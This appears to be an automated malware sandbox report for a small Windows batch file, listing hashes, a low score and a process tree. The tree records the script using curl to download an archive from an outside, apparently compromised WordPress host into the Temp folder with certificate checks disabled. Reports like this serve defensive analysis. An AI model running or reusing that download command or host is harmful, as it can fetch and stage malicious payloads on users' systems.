c0d6f148f0f5b70489d190b0648129f30ec9ff38515cee08617c5b12de7bc28c | Triage

Analysis

max time kernel
142s
max time network
147s
platform
windows10-2004_x64
resource
win10v2004-20230915-en
resource tags

arch:x64arch:x86image:win10v2004-20230915-enlocale:en-usos:windows10-2004-x64system
submitted
14/10/2023, 00:34

Sharing

Report Analysis Logs

General

Target

c0d6f148f0f5b70489d190b0648129f30ec9ff38515cee08617c5b12de7bc28c_JC.bat
Size

163B
MD5

853ee74c7075b7cc333b5128cbfcb7d6
SHA1

5d4b1d056c56fac00759a7ad96f4177a6d70bd38
SHA256

c0d6f148f0f5b70489d190b0648129f30ec9ff38515cee08617c5b12de7bc28c
SHA512

9bb4d21800ed1150b8bc2464e5dcf17da4092b115af206dcb50309a6841ec4ad01e7bc3a460573f68010d4fb5bba2a7eb363472542bc1cfa387fe72215bf6d7d

Score

1^/10

Malware Config

Signatures

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 2108 wrote to memory of 232	2108	cmd.exe	86
PID 2108 wrote to memory of 232	2108	cmd.exe	86

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\c0d6f148f0f5b70489d190b0648129f30ec9ff38515cee08617c5b12de7bc28c_JC.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2108
- C:\Windows\system32\curl.exe
  curl https://monkey-lab.net/ggl-live/wp/wp-admin/css/colors/blue/7197.7z --output "C:\Users\admin\AppData\Local\Temp\et.y" --ssl-no-revoke --insecure --location
  2⤵
  PID:232

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads